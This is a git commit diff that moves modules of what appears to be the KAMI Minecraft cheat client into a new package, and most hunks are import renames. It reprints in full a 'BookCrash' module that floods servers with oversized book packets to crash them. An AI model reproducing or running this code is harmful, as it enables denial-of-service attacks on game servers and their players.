Package 086 Modules into it's own package

This commit is contained in:
EmotionalLove 2019-12-14 20:40:51 -08:00
parent 9b9ab682c6
commit a21b593c57
80 changed files with 310 additions and 310 deletions

View File

@ -2,7 +2,7 @@ package me.zeroeightsix.kami.command.commands;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.command.syntax.ChunkBuilder;
import me.zeroeightsix.kami.module.modules.render.Pathfind;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.Pathfind;
import net.minecraft.pathfinding.PathPoint;
/**

View File

@ -4,7 +4,7 @@ import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.command.syntax.ChunkBuilder;
import me.zeroeightsix.kami.command.syntax.parsers.ModuleParser;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.hidden.Teleport;
import me.zeroeightsix.kami.module.modules.zeroeightysix.hidden.Teleport;
import net.minecraft.client.Minecraft;
import net.minecraft.util.math.Vec3d;

View File

@ -8,7 +8,7 @@ import me.zeroeightsix.kami.gui.UIRenderer;
import me.zeroeightsix.kami.gui.kami.KamiGUI;
import me.zeroeightsix.kami.gui.rgui.component.container.use.Frame;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.render.BossStack;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.BossStack;
import me.zeroeightsix.kami.util.KamiTessellator;
import me.zeroeightsix.kami.util.Wrapper;
import net.minecraft.client.Minecraft;

View File

@ -2,7 +2,7 @@ package me.zeroeightsix.kami.mixin.client;
import me.zeroeightsix.kami.KamiMod;
import me.zeroeightsix.kami.event.events.EntityEvent;
import me.zeroeightsix.kami.module.modules.movement.SafeWalk;
import me.zeroeightsix.kami.module.modules.zeroeightysix.movement.SafeWalk;
import net.minecraft.entity.Entity;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;

View File

@ -2,10 +2,10 @@ package me.zeroeightsix.kami.mixin.client;
import com.google.common.base.Predicate;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.misc.NoEntityTrace;
import me.zeroeightsix.kami.module.modules.render.AntiFog;
import me.zeroeightsix.kami.module.modules.render.Brightness;
import me.zeroeightsix.kami.module.modules.render.NoHurtCam;
import me.zeroeightsix.kami.module.modules.zeroeightysix.misc.NoEntityTrace;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.AntiFog;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.Brightness;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.NoHurtCam;
import net.minecraft.block.state.IBlockState;
import net.minecraft.client.entity.EntityPlayerSP;
import net.minecraft.client.multiplayer.WorldClient;

View File

@ -1,6 +1,6 @@
package me.zeroeightsix.kami.mixin.client;
import me.zeroeightsix.kami.module.modules.render.ExtraTab;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.ExtraTab;
import net.minecraft.client.gui.GuiPlayerTabOverlay;
import net.minecraft.client.network.NetworkPlayerInfo;
import org.spongepowered.asm.mixin.Mixin;

View File

@ -1,7 +1,7 @@
package me.zeroeightsix.kami.mixin.client;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.movement.EntitySpeed;
import me.zeroeightsix.kami.module.modules.zeroeightysix.movement.EntitySpeed;
import me.zeroeightsix.kami.util.Wrapper;
import net.minecraft.client.model.ModelBoat;
import net.minecraft.client.renderer.GlStateManager;

View File

@ -3,7 +3,7 @@ package me.zeroeightsix.kami.mixin.client;
import io.netty.channel.ChannelHandlerContext;
import me.zeroeightsix.kami.KamiMod;
import me.zeroeightsix.kami.event.events.PacketEvent;
import me.zeroeightsix.kami.module.modules.misc.NoPacketKick;
import me.zeroeightsix.kami.module.modules.zeroeightysix.misc.NoPacketKick;
import net.minecraft.network.NetworkManager;
import net.minecraft.network.Packet;
import org.spongepowered.asm.mixin.Mixin;

View File

@ -2,7 +2,7 @@ package me.zeroeightsix.kami.mixin.client;
import me.zeroeightsix.kami.KamiMod;
import me.zeroeightsix.kami.event.events.ClientPlayerAttackEvent;
import me.zeroeightsix.kami.module.modules.player.TpsSync;
import me.zeroeightsix.kami.module.modules.zeroeightysix.player.TpsSync;
import me.zeroeightsix.kami.util.LagCompensator;
import net.minecraft.block.state.IBlockState;
import net.minecraft.client.entity.EntityPlayerSP;

View File

@ -1,7 +1,7 @@
package me.zeroeightsix.kami.mixin.client;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.render.Chams;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.Chams;
import net.minecraft.client.renderer.entity.RenderLiving;
import net.minecraft.entity.EntityLiving;
import net.minecraft.entity.EntityLivingBase;

View File

@ -3,7 +3,7 @@ package me.zeroeightsix.kami.module.modules.bewwawho.misc;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.combat.CrystalAura;
import me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import me.zeroeightsix.kami.util.Friends;
@ -30,7 +30,7 @@ import java.math.RoundingMode;
import java.text.DecimalFormat;
import java.util.*;
import static me.zeroeightsix.kami.module.modules.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.util.BlockInteractionHelper.faceVectorPacketInstant;
/**

View File

@ -3,7 +3,7 @@ package me.zeroeightsix.kami.module.modules.bewwawho.misc;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.combat.CrystalAura;
import me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import me.zeroeightsix.kami.util.Friends;
@ -31,7 +31,7 @@ import java.math.RoundingMode;
import java.text.DecimalFormat;
import java.util.*;
import static me.zeroeightsix.kami.module.modules.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.util.BlockInteractionHelper.faceVectorPacketInstant;
/**

View File

@ -3,7 +3,7 @@ package me.zeroeightsix.kami.module.modules.bewwawho.render;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.combat.CrystalAura;
import me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import me.zeroeightsix.kami.util.GeometryMasks;
@ -17,7 +17,7 @@ import java.awt.*;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import static me.zeroeightsix.kami.module.modules.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura.getPlayerPos;
/**
* Created 16 November 2019 by hub

View File

@ -1,9 +1,9 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.misc.AutoTool;
import me.zeroeightsix.kami.module.modules.zeroeightysix.misc.AutoTool;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import me.zeroeightsix.kami.util.EntityUtil;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
@ -29,7 +29,7 @@ import java.math.RoundingMode;
import java.text.DecimalFormat;
import java.util.*;
import static me.zeroeightsix.kami.module.modules.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.module.modules.zeroeightysix.combat.CrystalAura.getPlayerPos;
import static me.zeroeightsix.kami.util.BlockInteractionHelper.faceVectorPacketInstant;
/**

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import com.mojang.realmsclient.gui.ChatFormatting;
import me.zeroeightsix.kami.command.Command;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,11 +1,11 @@
package me.zeroeightsix.kami.module.modules.combat;
package me.zeroeightsix.kami.module.modules.zeroeightysix.combat;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;
import me.zeroeightsix.kami.event.events.PacketEvent;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.modules.render.Tracers;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.Tracers;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import me.zeroeightsix.kami.util.*;

View File

@ -1,52 +1,52 @@
package me.zeroeightsix.kami.module.modules.hidden;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import net.minecraft.util.math.Vec3d;
/**
* Created by d1gress/Qther on 26/11/2019.
*/
@Module.Info(name = "Teleport", description = "you aren't supposed to see this.", category = Module.Category.HIDDEN)
public class Teleport extends Module {
private long lastTp;
private Vec3d lastPos;
public static Vec3d finalPos;
public static double blocksPerTeleport;
@Override
public void onUpdate() {
if (finalPos == null) {
Command.sendErrorMessage("Position not set, use .tp");
this.disable();
return;
}
Vec3d tpDirectionVec = finalPos.subtract(mc.player.posX, mc.player.posY, mc.player.posZ).normalize();
if (mc.world.isBlockLoaded(mc.player.getPosition())) {
lastPos = new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ);
if (finalPos.distanceTo(new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ)) < 0.3 || blocksPerTeleport == 0) {
Command.sendChatMessage("Teleport Finished!");
this.disable();
} else {
mc.player.setVelocity(0, 0, 0);
}
if (finalPos.distanceTo(new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ)) >= blocksPerTeleport) {
final Vec3d vec = tpDirectionVec.scale(blocksPerTeleport);
mc.player.setPosition(mc.player.posX + vec.x, mc.player.posY + vec.y, mc.player.posZ + vec.z);
} else {
final Vec3d vec = tpDirectionVec.scale(finalPos.distanceTo(new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ)));
mc.player.setPosition(mc.player.posX + vec.x, mc.player.posY + vec.y, mc.player.posZ + vec.z);
this.disable();
}
lastTp = System.currentTimeMillis();
} else if (lastTp + 2000L > System.currentTimeMillis()) {
mc.player.setPosition(lastPos.x, lastPos.y, lastPos.z);
}
}
}
package me.zeroeightsix.kami.module.modules.zeroeightysix.hidden;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import net.minecraft.util.math.Vec3d;
/**
* Created by d1gress/Qther on 26/11/2019.
*/
@Module.Info(name = "Teleport", description = "you aren't supposed to see this.", category = Module.Category.HIDDEN)
public class Teleport extends Module {
private long lastTp;
private Vec3d lastPos;
public static Vec3d finalPos;
public static double blocksPerTeleport;
@Override
public void onUpdate() {
if (finalPos == null) {
Command.sendErrorMessage("Position not set, use .tp");
this.disable();
return;
}
Vec3d tpDirectionVec = finalPos.subtract(mc.player.posX, mc.player.posY, mc.player.posZ).normalize();
if (mc.world.isBlockLoaded(mc.player.getPosition())) {
lastPos = new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ);
if (finalPos.distanceTo(new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ)) < 0.3 || blocksPerTeleport == 0) {
Command.sendChatMessage("Teleport Finished!");
this.disable();
} else {
mc.player.setVelocity(0, 0, 0);
}
if (finalPos.distanceTo(new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ)) >= blocksPerTeleport) {
final Vec3d vec = tpDirectionVec.scale(blocksPerTeleport);
mc.player.setPosition(mc.player.posX + vec.x, mc.player.posY + vec.y, mc.player.posZ + vec.z);
} else {
final Vec3d vec = tpDirectionVec.scale(finalPos.distanceTo(new Vec3d(mc.player.posX, mc.player.posY, mc.player.posZ)));
mc.player.setPosition(mc.player.posX + vec.x, mc.player.posY + vec.y, mc.player.posZ + vec.z);
this.disable();
}
lastTp = System.currentTimeMillis();
} else if (lastTp + 2000L > System.currentTimeMillis()) {
mc.player.setPosition(lastPos.x, lastPos.y, lastPos.z);
}
}
}

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,70 +1,70 @@
package me.zeroeightsix.kami.module.modules.misc;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import net.minecraft.client.Minecraft;
import net.minecraft.network.play.client.CPacketChatMessage;
import java.text.SimpleDateFormat;
import java.util.Date;
/***
* @author S-B99
* Updated by @S-B99 on 29/11/19
* Updated by d1gress/Qther on 5/12/2019
*/
@Module.Info(name = "AutoQMain", description = "Automatically does \"/queue main\" every X minutes.", category = Module.Category.MISC)
public class AutoQMain extends Module {
private Setting<Boolean> debug = register(Settings.b("Debug", true));
private Setting<Boolean> debugWarn = register(Settings.b("Connection Warning", true));
private Setting<Boolean> endDi = register(Settings.b("Dimension Warning", true));
private Setting<Double> delay = this.register(Settings.doubleBuilder("Wait time").withMinimum(0.2).withValue(7.1).withMaximum(10.0).build());
private double delayTime;
private double oldDelay = 0;
@Override
public void onUpdate() {
if (mc.player == null) return;
if (oldDelay == 0) oldDelay = delay.getValue();
else if (oldDelay != delay.getValue()) {
delayTime = delay.getValue();
oldDelay = delay.getValue();
}
if (delayTime <= 0) {
delayTime = (int) (delay.getValue() * 2400);
} else if (delayTime > 0) {
delayTime--;
return;
}
if (mc.player == null) return;
if (Minecraft.getMinecraft().getCurrentServerData() == null) {
Command.sendWarningMessage("[AutoQMain] &l&6Warning: &r&6You are on singleplayer");
return;
}
if (!Minecraft.getMinecraft().getCurrentServerData().serverIP.equalsIgnoreCase("2b2t.org") && debugWarn.getValue()) {
Command.sendWarningMessage("[AutoQMain] &l&6Warning: &r&6You are not connected to 2b2t.org");
}
if (mc.player.dimension != 1 && endDi.getValue()) {
Command.sendWarningMessage("[AutoQMain] &l&6Warning: &r&6You are not in the end. Not running &b/queue main&7.");
// Command.sendWarningMessage("[AutoQMain] " + mc.player.dimension);
return;
}
if (debug.getValue()) {
SimpleDateFormat formatter = new SimpleDateFormat("HH:mm:ss");
Date date = new Date(System.currentTimeMillis());
System.out.println(formatter.format(date));
Command.sendChatMessage("&7Run &b/queue main&7 at " + (formatter.format(date)));
}
Minecraft.getMinecraft().playerController.connection.sendPacket(new CPacketChatMessage("/queue main"));
}
public void onDisable() {
delayTime = 0;
}
}
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import net.minecraft.client.Minecraft;
import net.minecraft.network.play.client.CPacketChatMessage;
import java.text.SimpleDateFormat;
import java.util.Date;
/***
* @author S-B99
* Updated by @S-B99 on 29/11/19
* Updated by d1gress/Qther on 5/12/2019
*/
@Module.Info(name = "AutoQMain", description = "Automatically does \"/queue main\" every X minutes.", category = Module.Category.MISC)
public class AutoQMain extends Module {
private Setting<Boolean> debug = register(Settings.b("Debug", true));
private Setting<Boolean> debugWarn = register(Settings.b("Connection Warning", true));
private Setting<Boolean> endDi = register(Settings.b("Dimension Warning", true));
private Setting<Double> delay = this.register(Settings.doubleBuilder("Wait time").withMinimum(0.2).withValue(7.1).withMaximum(10.0).build());
private double delayTime;
private double oldDelay = 0;
@Override
public void onUpdate() {
if (mc.player == null) return;
if (oldDelay == 0) oldDelay = delay.getValue();
else if (oldDelay != delay.getValue()) {
delayTime = delay.getValue();
oldDelay = delay.getValue();
}
if (delayTime <= 0) {
delayTime = (int) (delay.getValue() * 2400);
} else if (delayTime > 0) {
delayTime--;
return;
}
if (mc.player == null) return;
if (Minecraft.getMinecraft().getCurrentServerData() == null) {
Command.sendWarningMessage("[AutoQMain] &l&6Warning: &r&6You are on singleplayer");
return;
}
if (!Minecraft.getMinecraft().getCurrentServerData().serverIP.equalsIgnoreCase("2b2t.org") && debugWarn.getValue()) {
Command.sendWarningMessage("[AutoQMain] &l&6Warning: &r&6You are not connected to 2b2t.org");
}
if (mc.player.dimension != 1 && endDi.getValue()) {
Command.sendWarningMessage("[AutoQMain] &l&6Warning: &r&6You are not in the end. Not running &b/queue main&7.");
// Command.sendWarningMessage("[AutoQMain] " + mc.player.dimension);
return;
}
if (debug.getValue()) {
SimpleDateFormat formatter = new SimpleDateFormat("HH:mm:ss");
Date date = new Date(System.currentTimeMillis());
System.out.println(formatter.format(date));
Command.sendChatMessage("&7Run &b/queue main&7 at " + (formatter.format(date)));
}
Minecraft.getMinecraft().playerController.connection.sendPacket(new CPacketChatMessage("/queue main"));
}
public void onDisable() {
delayTime = 0;
}
}

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,101 +1,101 @@
package me.zeroeightsix.kami.module.modules.misc;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import net.minecraft.client.Minecraft;
import net.minecraft.init.Items;
import net.minecraft.inventory.ClickType;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagList;
import net.minecraft.nbt.NBTTagString;
import net.minecraft.network.play.client.CPacketClickWindow;
import net.minecraft.network.play.client.CPacketCreativeInventoryAction;
import java.util.Random;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* Created by d1gress/Qther on 25/11/2019.
* Updated by d1gress/Qther on 26/11/2019.
*/
@Module.Info(name = "BookCrash", category = Module.Category.MISC, description = "Crashes servers by sending large packets")
public class BookCrash extends Module {
private int currDelay;
private Setting<Mode> mode = register(Settings.e("Mode", Mode.RAION));
private Setting<FillMode> fillMode = register(Settings.e("Fill Mode", FillMode.RANDOM));
private Setting<Integer> uses = register(Settings.i("Uses", 5));
private Setting<Integer> delay = register(Settings.i("Delay", 0));
private Setting<Integer> pagesSettings = register(Settings.i("Pages", 50));
private Setting<Boolean> autoToggle = register(Settings.b("AutoToggle", true));
@Override
public void onUpdate() {
if (Minecraft.getMinecraft().getCurrentServerData() == null || Minecraft.getMinecraft().getCurrentServerData().serverIP.isEmpty()) {
Command.sendChatMessage("Not connected to a server");
this.disable();
}
currDelay = (currDelay >= delay.getValue() ? 0 : delay.getValue() + 1);
if (currDelay > 0) return;
ItemStack bookObj = new ItemStack(Items.WRITABLE_BOOK);
NBTTagList list = new NBTTagList();
NBTTagCompound tag = new NBTTagCompound();
String author = "Bella";
String title = "\n Bella Nuzzles You \n";
String size = "";
int pages = Math.min(pagesSettings.getValue(), 100);
int pageChars = 210;
if (fillMode.getValue().equals(FillMode.RANDOM)) {
IntStream chars = new Random().ints(0x80, 0x10FFFF - 0x800).map(i -> i < 0xd800 ? i : i + 0x800);
size = chars.limit(pageChars * pages).mapToObj(i -> String.valueOf((char) i)).collect(Collectors.joining());
} else if (fillMode.getValue().equals(FillMode.FFFF)) {
size = repeat(pages * pageChars, String.valueOf(0x10FFFF));
} else if (fillMode.getValue().equals(FillMode.ASCII)) {
IntStream chars = new Random().ints(0x20, 0x7E);
size = chars.limit(pageChars * pages).mapToObj(i -> String.valueOf((char) i)).collect(Collectors.joining());
} else if (fillMode.getValue().equals(FillMode.OLD)) {
size = "wveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5";
}
for (int i = 0; i < pages; i++) {
String siteContent = size;
NBTTagString tString = new NBTTagString(siteContent);
list.appendTag(tString);
}
tag.setString("author", author);
tag.setString("title", title);
tag.setTag("pages", list);
bookObj.setTagInfo("pages", list);
bookObj.setTagCompound(tag);
for (int i = 0; i < uses.getValue(); i++) {
mc.playerController.connection.sendPacket(new CPacketClickWindow(0, 0, 0, ClickType.PICKUP, bookObj, (short) 0));
if (mode.getValue() == Mode.JESSICA) {
mc.playerController.connection.sendPacket(new CPacketCreativeInventoryAction(0, bookObj));
}
}
}
private enum Mode {
JESSICA, RAION
}
private enum FillMode {
ASCII, FFFF, RANDOM, OLD
}
private static String repeat(int count, String with) {
return new String(new char[count]).replace("\0", with);
}
}
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import net.minecraft.client.Minecraft;
import net.minecraft.init.Items;
import net.minecraft.inventory.ClickType;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.nbt.NBTTagList;
import net.minecraft.nbt.NBTTagString;
import net.minecraft.network.play.client.CPacketClickWindow;
import net.minecraft.network.play.client.CPacketCreativeInventoryAction;
import java.util.Random;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* Created by d1gress/Qther on 25/11/2019.
* Updated by d1gress/Qther on 26/11/2019.
*/
@Module.Info(name = "BookCrash", category = Module.Category.MISC, description = "Crashes servers by sending large packets")
public class BookCrash extends Module {
private int currDelay;
private Setting<Mode> mode = register(Settings.e("Mode", Mode.RAION));
private Setting<FillMode> fillMode = register(Settings.e("Fill Mode", FillMode.RANDOM));
private Setting<Integer> uses = register(Settings.i("Uses", 5));
private Setting<Integer> delay = register(Settings.i("Delay", 0));
private Setting<Integer> pagesSettings = register(Settings.i("Pages", 50));
private Setting<Boolean> autoToggle = register(Settings.b("AutoToggle", true));
@Override
public void onUpdate() {
if (Minecraft.getMinecraft().getCurrentServerData() == null || Minecraft.getMinecraft().getCurrentServerData().serverIP.isEmpty()) {
Command.sendChatMessage("Not connected to a server");
this.disable();
}
currDelay = (currDelay >= delay.getValue() ? 0 : delay.getValue() + 1);
if (currDelay > 0) return;
ItemStack bookObj = new ItemStack(Items.WRITABLE_BOOK);
NBTTagList list = new NBTTagList();
NBTTagCompound tag = new NBTTagCompound();
String author = "Bella";
String title = "\n Bella Nuzzles You \n";
String size = "";
int pages = Math.min(pagesSettings.getValue(), 100);
int pageChars = 210;
if (fillMode.getValue().equals(FillMode.RANDOM)) {
IntStream chars = new Random().ints(0x80, 0x10FFFF - 0x800).map(i -> i < 0xd800 ? i : i + 0x800);
size = chars.limit(pageChars * pages).mapToObj(i -> String.valueOf((char) i)).collect(Collectors.joining());
} else if (fillMode.getValue().equals(FillMode.FFFF)) {
size = repeat(pages * pageChars, String.valueOf(0x10FFFF));
} else if (fillMode.getValue().equals(FillMode.ASCII)) {
IntStream chars = new Random().ints(0x20, 0x7E);
size = chars.limit(pageChars * pages).mapToObj(i -> String.valueOf((char) i)).collect(Collectors.joining());
} else if (fillMode.getValue().equals(FillMode.OLD)) {
size = "wveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5";
}
for (int i = 0; i < pages; i++) {
String siteContent = size;
NBTTagString tString = new NBTTagString(siteContent);
list.appendTag(tString);
}
tag.setString("author", author);
tag.setString("title", title);
tag.setTag("pages", list);
bookObj.setTagInfo("pages", list);
bookObj.setTagCompound(tag);
for (int i = 0; i < uses.getValue(); i++) {
mc.playerController.connection.sendPacket(new CPacketClickWindow(0, 0, 0, ClickType.PICKUP, bookObj, (short) 0));
if (mode.getValue() == Mode.JESSICA) {
mc.playerController.connection.sendPacket(new CPacketCreativeInventoryAction(0, bookObj));
}
}
}
private enum Mode {
JESSICA, RAION
}
private enum FillMode {
ASCII, FFFF, RANDOM, OLD
}
private static String repeat(int count, String with) {
return new String(new char[count]).replace("\0", with);
}
}

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;
import net.minecraft.client.multiplayer.WorldClient;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.misc;
package me.zeroeightsix.kami.module.modules.zeroeightysix.misc;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
